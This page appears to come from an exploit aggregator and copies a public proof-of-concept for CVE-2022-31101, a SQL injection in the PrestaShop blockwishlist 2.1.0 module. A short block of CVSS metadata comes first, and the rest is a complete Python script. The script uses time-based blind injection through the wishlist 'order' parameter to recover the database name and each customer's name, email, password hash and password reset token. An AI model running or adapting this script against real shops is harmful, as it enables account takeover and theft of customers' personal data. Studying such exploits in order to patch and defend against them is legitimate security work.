Prestashop Blockwishlist 2.1.0 SQL Injection
CVE
Category
Price
Severity
CVE-2022-31101
CWE-89
Not specified
High
Author
Risk
Exploitation Type
Date
Unknown
High
Remote
2022-08-14
CVSS vector description
Metric
Value
Metric Description
Value Description
Attack vector Network AV The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230). Attack Complexity Low AC The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system. Privileges Required None PR The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction None UI The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges Scope Unchanged S An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances. Confidentiality High C There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data. Integrity High I There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system. Availability High A There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022080050 Below is a copy:
Prestashop Blockwishlist 2.1.0 SQL Injection # Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi
# Date: 29/07/22
# Exploit Author: Karthik UJ (@5up3r541y4n)
# Vendor Homepage: https://www.prestashop.com/en
# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0
# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/
# Version (blockwishlist): 2.1.0
# Version (prestashop): 1.7.8.1
# Tested on: Linux
# CVE: CVE-2022-31101
# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop
import requests
url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1
cookie = input("Enter cookie value:\n")
header = {
"Cookie": cookie
}
# Define static stuff
param = "&order="
staticStart = "p.name, (select case when ("
staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"
charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~'
charset = list(charset)
emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.'
emailCharset = list(emailCharset)
# Query current database name length
print("\nFinding db name's length:")
for length in range(1, 65):
condition = "LENGTH(database())=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
dbLength=length
print("Length: ", length, end='')
print("\n")
break
print("Enumerating current database name:")
databaseName = ''
for i in range(1, dbLength+1):
for char in charset:
condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"
fullUrl = url + param + staticStart + condition + staticEnd
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
databaseName += char
break
print()
# Enumerate any table
prefix = "ps_"
tableName = prefix + "customer"
staticStart = "p.name, (select case when ("
staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="
staticEnd2 = "); -- .asc"
print("\nEnumerating " + tableName + " table")
for id in range(1, 10):
condition = "id_customer=" + str(id)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
print("\nOnly " + str(id - 1) + " records found. Exiting...")
break
except requests.exceptions.Timeout:
pass
print("\nid = " + str(id))
# Finding firstname length
for length in range(0, 100):
condition = "LENGTH(firstname)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
firstnameLength=length
print("Firstname length: ", length, end='')
print()
break
# Enumerate firstname
firstname = ''
print("Firstname: ", end='')
for i in range(1, length+1):
for char in charset:
condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
firstname += char
break
print()
# Finding lastname length
for length in range(1, 100):
condition = "LENGTH(lastname)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
lastnameLength=length
print("Lastname length: ", length, end='')
print()
break
# Enumerate lastname
lastname = ''
print("Lastname: ", end='')
for i in range(1, length+1):
for char in charset:
condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
print(char, end='')
firstname += char
break
print()
# Finding email length
for length in range(1, 320):
condition = "LENGTH(email)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
emailLength=length
print("Email length: ", length, end='')
print()
break
# Enumerate email
email = ''
print("Email: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
email += char
except requests.exceptions.Timeout:
print(char, end='')
email += char
break
print()
# Finding password hash length
for length in range(1, 500):
condition = "LENGTH(passwd)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
passwordHashLength=length
print("Password hash length: ", length, end='')
print()
break
# Enumerate password hash
passwordHash = ''
print("Password hash: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
passwordHash += char
except requests.exceptions.Timeout:
print(char, end='')
passwordHash += char
break
print()
# Finding password reset token length
for length in range(0, 500):
condition = "LENGTH(reset_password_token)=" + str(length)
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
except requests.exceptions.Timeout:
passwordResetTokenLength=length
print("Password reset token length: ", length, end='')
print()
break
# Enumerate password reset token
passwordResetToken = ''
print("Password reset token: ", end='')
for i in range(1, length+1):
for char in emailCharset:
condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'"
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2
try:
req = requests.get(fullUrl, headers=header, timeout=8)
if req.status_code == 500 and char == '.':
print(char, end='')
passwordResetToken += char
except requests.exceptions.Timeout:
print(char, end='')
passwordResetToken += char
break
print()
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